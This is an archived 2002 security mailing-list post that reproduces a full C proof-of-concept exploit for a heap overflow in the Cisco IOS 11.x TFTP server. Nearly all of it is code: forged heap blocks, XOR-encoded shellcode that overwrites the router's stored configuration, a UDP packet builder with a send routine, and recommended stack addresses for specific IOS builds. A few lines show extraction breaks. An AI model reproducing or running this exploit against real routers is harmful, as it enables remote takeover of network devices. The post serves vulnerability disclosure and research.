

# [EXPL] Cisco IOS Heap Exploit Proof of Concept

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0078.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/21/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 21 Aug 2002 15:16:25 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Cisco IOS Heap Exploit Proof of Concept

---

## SUMMARY

The following exploit code is a Cisco IOS exploitation of a heap overflow and using actual shell code to upload a new config; all in one UDP packet. This exploit utilizes an issue in the 11.x IOS TFTP server (<http://www.securiteam.com/securitynews/5LP110A7PA.html>) TFTP Long Filename Vulnerability). Works against Cisco 1600 and 1000 series routers, but is designed as PoC.

## DETAILS

Exploit:

/\* Cisco IOS Heap exploit prove of concept "Ultima Ratio".

\* by FX of Phenoelit <[fx@phenoelit.de](mailto:fx@phenoelit.de)>

\* <http://www.phenoelit.de>

\*

\* Black Hat Briefings 2002 / Las Vegas

\* DefCon X 2002 / Las Vegas

\*

\* Cisco IOS 11.1.x to 11.3.x TFTP-Server

\* If a TFTP server for a flash file is configured, a long filename in the TFTP

\* request will overflow a heap buffer. The attached program is a PoC to

exploit

t

\* this vulnerability by executing "shell code" on the router and write

the

\* attached configuration into NVRAM to basically own the router.

\*

\* Command line argument -p XXXXXXXXX most definitely required. Obtain from

syslo

g

\* host or any other means possible. The stack address changes by image.

\* Find the right one for the IOS build you are running and if you feel

like it

,

\* send it to me.

\*

\* Kiddy Warnings:

\* - It will NOT work in fire-and-forget mode.

\* - The shellcode is only good for Cisco 1000 and 1600 series.

\* - This code is not for illegal use.

\*

\* \$Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 \$

\*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <unistd.h>
```

```
#include <string.h>
```

```
#include <netinet/in.h>
```

```
#include <rpc/types.h>
```

```
#include <netdb.h>
```

```
#include <sys/socket.h>
```

```
#include <arpa/inet.h>
```

```
#include <errno.h>
```

```
#include <sys/ioctl.h>
```

```
#include <netinet/in.h>
```

```
#include <netpacket/packet.h>
```

```
#include <net/ethernet.h>
```

```
#include <net/if.h>
```

```
#include <sys/stat.h>
```

```
#include <sys/types.h>
```

```
#include <fcntl.h>
```

```
typedef struct {
```

```
    u_int16_t opcode __attribute__((packed));
```

```
    u_int8_t file __attribute__((packed));
```

```
    u_int8_t type __attribute__((packed));
```

```
} tftp_t;
```

```
typedef struct {
```

```
    u_int16_t magic __attribute__((packed));
```

```
    u_int16_t one __attribute__((packed));
```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
u_int16_t checksum __attribute__((packed));
u_int16_t IOSver __attribute__((packed));
u_int32_t unknown __attribute__((packed));
u_int32_t ptr __attribute__((packed));
u_int32_t size __attribute__((packed));
} nvheader_t;

struct {
    int verbose;
    int test;
    char *filename;
    unsigned int overflow;
    u_int32_t prev;
    u_int32_t next;
    u_int32_t offset;
    u_int32_t buffer_location;
    u_int32_t stack_address;
    unsigned int nop_sleet;
    int dot1;
} cfg;

u_int16_t chksum(u_char *data, unsigned long count);
void hexdump(unsigned char *bp, unsigned int length);
void usage(char *s);

#define MAX_SIZE 1472
#define XOR_PAT 0xD5

#define FB_PREV 28
#define FB_NEXT 24
#define FB_FREENEXT 60
#define FB_FREEPREV 64

#define SPLASH \
    "Phenoelit ULTIMA RATIO\n" \
    " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
    " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n"

int main(int argc, char **argv) {
    char option;
    extern char *optarg;
    unsigned int i;

    /* config file */
    int fd;
    struct stat sb;

    u_char *buffer;
    u_char *p;
    nvheader_t *nvh;
    unsigned int len;
```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
u_int16_t cs1;
u_int32_t temp;

/* Network */
int sfd;
struct in_addr dest;
struct sockaddr_in sin;

/* the packet */
unsigned int psize = 0;
u_char *pack;
tftp_t *tftp;
char tftp_type[] = "PHENOELIT";
char terminator[] = "\xCA\xFE\xF0\x0D";

char fakeblock[] =
    "\xFD\x01\x10\xDF" // RED
    "\xAB\x12\x34\xCD" // MAGIC
    "\xFF\xFF\xFF\xFF" // PID
    "\x80\x81\x82\x83" //
    "\x08\x0C\xBB\x76" // NAME
    "\x80\x8a\x8b\x8c" //

    "\x02\x0F\x2A\x04" // NEXT
    "\x02\x0F\x16\x94" // PREV

    "\x7F\xFF\xFF\xFF" // SIZE
    "\x01\x01\x01\x01" //
    "\xA0\xA0\xA0\xA0" // padding ?
    "\xDE\xAD\xBE\xEF" // MAGIC2
    "\x8A\x8B\x8C\x8D" //
    "\xFF\xFF\xFF\xFF" // padding
    "\xFF\xFF\xFF\xFF" // padding

    "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
    "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address)

;

char fakeblock_dot1[] =
    "\xFD\x01\x10\xDF" // RED
    "\xAB\x12\x34\xCD" // MAGIC
    "\xFF\xFF\xFF\xFF" // PID
    "\x80\x81\x82\x83" //
    "\x08\x0C\xBB\x76" // NAME
    "\x80\x8a\x8b\x8c" //

    "\x02\x0F\x2A\x04" // NEXT
    "\x02\x0F\x16\x94" // PREV
```

Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
"\x7F\xff\xff\xff" // SIZE
"\x01\x01\x01\x01" //
//"\xA0\xA0\xA0\xA0" // no padding here on 11.1
"\xDE\xAD\xBE\xEF" // MAGIC2
"\x8A\x8B\x8C\x8D" //
"\xFF\xff\xff\xff" // padding
"\xFF\xff\xff\xff" // padding

"\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
"\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address)

;

char nop[] =
"\x4E\x71"; // the IOS will write here

char shell_code[] =

// ***** CODE *****

"\x22\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a1 (0x020F2A24)
"\xe2\xd1" //lsw %a1@ (0x020F2A2A)
"\x47\xfa\x01\x23" //lea %pc@(12d<xor_code+0xfd>),%a3 (0x020F2A2C)
"\x96\xfc\x01\x01" //subaw #257,%a3 (0x020F2A30)
"\xe2\xd3" //lsw %a3@ (0x020F2A34)
"\x22\x3c\x01\x01\x01\x01" //movel #16843009,%d1 (0x020F2A36)
"\x45\xfa\x01\x17" //lea %pc@(131<xor_code+0x101>),%a2(0x020F2A3C)
"\x94\xfc\x01\x01" //subaw #257,%a2 (0x020F2A40)
"\x34\x3c\xd5\xd5" //movew #-10795,%d2 (0x020F2A44)
"\xb5\x5a" //eorw %d2,%a2@+ (0x020F2A48)
"\x0c\x92\xca\xfe\xf0\x0d" //cmpil #-889262067,%a2@ (0x020F2A4A)
"\xcc\x01" //branch (modified) (0x020F2A50)
"\xff\xf6" //(0x020F2A52)

// ***** XORed CODE *****

"\x93\x29\xf2\xd5" //movew #9984,%sr (0x020F2A5E)
"\xf7\xa9\xda\x25\xc5\x17" //moveal #267391170,%a1 (0x020F2A62)
"\xe7\x69\xd5\xd4" //movew #1,%a1@ (0x020F2A68)
"\x90\x2f\xd5\x87" //lea %pc@(62 <config>),%a2 (0x020F2A6C)
)
"\xf7\xa9\xdb\xd5\xd7\x7b" //moveal #234881710,%a1 (0x020F2A70)
"\xa1\xd4" //moveq #1,%d2 (0x020F2A76)
"\xc7\x0f" //moveb %a2@+,%a1@+ (0x020F2A78)
"\xf7\xe9\xd5\xd5\x2a\x2a" //movel #65535,%d1 (0x020F2A7A)
"\x46\x97" //subxw %d2,%d1 (0x020F2A80)
"\xbe\xd5\x2a\x29" //bmiw 22 <write_delay> (0x020F2A82)
"\xd9\x47\x1f\x2b\x25\xd8" //cmpil #-889262067,%a2@ (0x020F2A86)
```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
"\xB3\xD5\x2A\x3F" //bnew 1a <copy_config> (0x020F2A8C)
"\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A90)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A94)
"\x46\x97" //subxw %d2,%d1 (0x020F2A9A)
"\xBE\xD5\x2A\x29" //bmiw 3c <write_delay2> (0x020F2A9C)
"\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2AA0)
"\xB8\xD5\x2A\x3D" //bltw 32 <delete_config> (0x020F2AA6)
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2AAA)
"\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2AAE)
"\xFB\x85" //moveal %a0@,%sp (0x020F2AB4)
"\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2AB6)
"\xF5\x85" //moveal %a0@,%a0 (0x020F2ABC)
"\x9B\x05" //jmp %a0@ (0x020F2ABE)
```

```
;
```

```
/* configure defaults */
```

```
memset(&dest,0,sizeof(dest));
memset(&cfg,0,sizeof(cfg));
cfg.overflow=652;
cfg.prev=0x020F1694;
cfg.next=0x020F2A04;
//cfg.offset=0x13D4;
//cfg.offset=0x137C; // 4988
cfg.offset=0x1390; // 5008
cfg.buffer_location=0x020F2A24;
cfg.stack_address=0x02057ECC;
cfg.nop_sleet=16;
```

```
printf("%s\n",SPLASH);
```

```
while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
    switch (option) {
        case 'd': if (inet_aton(optarg,&dest)==0) {
            /* ups, wasn't an IP – maybe a hostname */
            struct hostent *hd;
            if ((hd=gethostbyname(optarg))==NULL) {
                fprintf(stderr,"Could not resolve destination host\n");
                return (1);
            } else {
                bcopy(hd->h_addr,(char *)&dest,hd->h_length);
            }
        }
        break;
        case 'f': cfg.filename=(char *)malloc(strlen(optarg)+1);
                strcpy(cfg.filename,optarg);
                break;
        case 'l': if ( ( cfg.overflow=atoi(optarg))==0 ) {
                fprintf(stderr,"Overflow length incorrect\n");
                return (1);
            }
    }
}
```

```

    }
    break;
case 'o': if ( (cfg.offset=atoi(optarg))==0 ) {
    fprintf(stderr,"Offset incorrect\n");
    return (1);
    }
    break;
case 'N': if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
    fprintf(stderr,"NOP sleet incorrect\n");
    return (1);
    }
    break;
case 'p': sscanf(optarg,"%08X",&(cfg.prev));
    break;
case 'n': sscanf(optarg,"%08X",&(cfg.next));
    break;
case 's': sscanf(optarg,"%08X",&(cfg.stack_address));
    break;
case 'v': cfg.verbose++;
    break;
case 't': cfg.test++;
    break;
case 'l': cfg.dot1++;
    break;
default: usage(argv[0]);
    return (1);
}
}

/*
 * check for dummies
 */

if ( (!(*(u_int32_t *)&dest)) || (cfg.filename==NULL) ) {
    usage(argv[0]);
    return 1;
}

/*
 * patch fake block with new addresses
 */

cfg.buffer_location=cfg.prev+20+cfg.offset;

if (cfg.dot1) {
    temp=htonl(cfg.prev+20);
    memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
    temp=htonl(cfg.next);
    memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
    temp=htonl(cfg.buffer_location);
    memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
}

```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
temp=htonl(cfg.stack_address);
memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
} else {
temp=htonl(cfg.prev+20);
memcpy(&(fakeblock[FB_PREV]),&(temp),4);
temp=htonl(cfg.next);
memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
temp=htonl(cfg.buffer_location);
memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
temp=htonl(cfg.stack_address);
memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
}

if (cfg.verbose) {
if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
printf("Values:\n"
"- prev ptr of 0x%08X\n"
"- next ptr of 0x%08X\n"
"- buffer located at 0x%08X (offset %u)\n"
"- stack return address 0x%08X\n"
"- overflow lenght %u\n"
"- NOP sleet %u\n"
,
cfg.prev+20,
cfg.next,
cfg.buffer_location,cfg.offset,
cfg.stack_address,
cfg.overflow,
cfg.nop_sleet);
}

if (cfg.dot1) {
if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
fprintf(stderr,"0x00 byte in fake block detected!\n");
if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
return (1);
}
} else {
if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
fprintf(stderr,"0x00 byte in fake block detected!\n");
if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
return (1);
}
}

/*
* Load Config
* - load into buffer
* - prepare NVRAM header
* - calculate checksum
* -> *buffer contains payload
```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
*/
if (cfg.filename==NULL) return (-1);
if (stat(cfg.filename,&sb)!=0) {
    fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
    return (-1);
}

if ((fd=open(cfg.filename,O_RDONLY))<0) {
    fprintf(stderr,"Could not open() file %s\n",cfg.filename);
    return (-1);
}

len=sb.st_size;
if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
    fprintf(stderr,"Malloc() failed\n");
    return (-1);
}
memset(buffer,0,len+sizeof(nvheader_t)+10);

p=buffer+sizeof(nvheader_t);
if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
close(fd);

/*
 * pad config so it is word bound for the 0xcafef00d test
 */
if ((len%2)!=0) {
    strcat(p,"\x0A");
    len++;
    if (cfg.verbose) printf("Padding config by one\n");
}

nvh=(nvheader_t *)buffer;
nvh->magic=htons(0xABCD);
nvh->one=htons(0x0001); // is always one
nvh->IOSver=htons(0x0B03); // IOS version
nvh->unknown=htonl(0x00000014); // something, 0x14 just works
nvh->ptr=htonl(0x020AA660); // something, 0x020AA660 just works
nvh->size=htonl(len);

cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
nvh->checksum=cs1;

/*
 * Check the size of all together and make sure it will fit into the
 * packet
 */
psize= len + sizeof(nvheader_t) +
    + strlen(fakeblock)
    + ( strlen(nop) * cfg.nop_sleet )
```

```

+ strlen(shell_code)
+ strlen(terminator)
+ cfg.overflow + 1
+ sizeof(tftp_t) + strlen(tftp_type) ;
if ( psize > MAX_SIZE ) {
    fprintf(stderr,"The config file specified is too big and does not fit"
        " into one packet. Specify smaller file\n");
    free(buffer);
    return (1);
}
if ((pack=malloc(psize))==NULL) {
    fprintf(stderr,"Could not malloc() packet\n");
    return (-1);
}
memset(pack,0,psize);

/*
 * XOR encode the config block
 */
p=buffer;
for (i=0;i<(len+sizeof(nvheader_t));i++) {
    p[i]=p[i]^XOR_PAT;
}

/*
 * Prepare the TFTP protocol part
 */
tftp=(tftp_t *)((void *)pack);
tftp->opcode=htons(1);

/* (1) Overflow */
p=(char *)&(tftp->file);
memset(p,'A',cfg.overflow);
p+=cfg.overflow;

/* (2) Fake block */
if (cfg.dot1) {
    memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
    p+=sizeof(fakeblock_dot1)-1;
} else {
    memcpy(p,fakeblock,sizeof(fakeblock)-1);
    p+=sizeof(fakeblock)-1;
}

/* (3) add NOP sleet */
for (i=0;i<cfg.nop_sleet;i++) {
    memcpy(p,nop,sizeof(nop)-1);
    p+=sizeof(nop)-1;
}

```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
/* (4) append shell code */
memcpy(p,shell_code,sizeof(shell_code)-1);
p+=sizeof(shell_code)-1;

/* (5) new config */
memcpy(p,buffer,strlen(buffer));
p+=strlen(buffer);

/* (6) terminator */
strcpy(p,terminator);
p+=strlen(terminator)+1;

/* (7) give it a type */
strcpy(p,tftp_type);

if (cfg.verbose>1) hexdump(pack,psize);

if (cfg.test) return(0);

/*
 * Perform attack
 */
if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
    perror("socket()");
    return (-1);
}
memset(&sin,0,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
sin.sin_port=htons(69); /* tftp */
memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));

printf("*** Sending exploit ***\n");

if (sendto(sfd,pack,psize,0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
    perror("sendto()");
    return(-1);
}

close(sfd);

if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);

/*
 * clean up
 */
free(buffer);
free(pack);

return 0;
}
```

## Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
/* checksum function as used in IRPAS, stolen somewhere */
u_int16_t chksum(u_char *data, unsigned long count) {
    u_int32_t sum = 0;
    u_int16_t *wrd;

    wrd=(u_int16_t *)data;
    while( count > 1 ) {
        sum = sum + *wrd;
        wrd++;
        count -= 2;
    }

    if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }

    while (sum>>16) {
        sum = (sum & 0xffff) + (sum >> 16);
    }

    return (~sum);
}

/* A better version of hdump, from Lamont Granquist. Modified slightly
 * by Fyodor (fyodor@DHP.com)
 * obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {

    /* stolen from tcpdump, then kludged extensively */

    static const char asciify[] = ".....
    !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz
    {}~.....
    .....";

    register const u_short *sp;
    register const u_char *ap;
    register u_int i, j;
    register int nshorts, nshorts2;
    register int padding;

    printf("\n\t");
    padding = 0;
    sp = (u_short *)bp;
    ap = (u_char *)bp;
    nshorts = (u_int) length / sizeof(u_short);
    nshorts2 = (u_int) length / sizeof(u_short);
    i = 0;
    j = 0;
    while(1) {
        while (--nshorts >= 0) {
            printf(" %04x", ntohs(*sp));
```

```

sp++;
if ((++i % 8) == 0)
    break;
}
if (nshorts < 0) {
if ((length & 1) && (((i-1) % 8) != 0)) {
    printf(" %02x ", *(u_char *)sp);
    padding++;
}
nshorts = (8 - (nshorts2 - nshorts));
while(--nshorts >= 0) {
    printf(" ");
}
if (!padding) printf(" ");
}
printf(" ");

while (--nshorts2 >= 0) {
printf("%c%c", asciiify[*ap], asciiify[*ap+1]);
ap += 2;
if ((++j % 8) == 0) {
    printf("\n\t");
    break;
}
}
if (nshorts2 < 0) {
if ((length & 1) && (((j-1) % 8) != 0)) {
    printf("%c", asciiify[*ap]);
}
break;
}
}
if ((length & 1) && (((i-1) % 8) == 0)) {
printf(" %02x", *(u_char *)sp);
printf(" %c", asciiify[*ap]);
}
printf("\n");
}

void usage(char *s) {
fprintf(stderr,
    "Usage: %s -d <device_ip> -f config.file [-opts]\n"
    "Options:\n"
    " -p 1234ABCD sets the previous ptr address\n"
    " -n 1234ABCD sets the next ptr address\n"
    " -s 1234ABCD sets the stack address\n"
    " -o 1234 sets the offset from prev to buffer\n"
    " -l 1234 sets the overflow size\n"
    " -N 1234 sets the NOP sleet\n"
    " -l use IOS 11.1 memory layout\n"
    " -v increases verbosity (highly recommended)\n"

```

Securiteam: [EXPL] Cisco IOS Heap Exploit Proof of Concept

```
" -t only test, don't send\n"\n"Recommended stack addresses:\n"IOS 11.1(20) -s 020A1120 (IP Input)\n"IOS 11.2(18)P -s 0204120C (Load Meter)\n"IOS 11.2(26)P4 -s 02041554 (Load Meter)\n"IOS 11.3(11)B -s 02057ECC (Load Meter)\n,s);\n}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[fx@phenoelit.de](mailto:fx@phenoelit.de)> FX of Phenoelit.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[EXPL] Remote Exploit Code for Solaris SPARC TelnetD"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)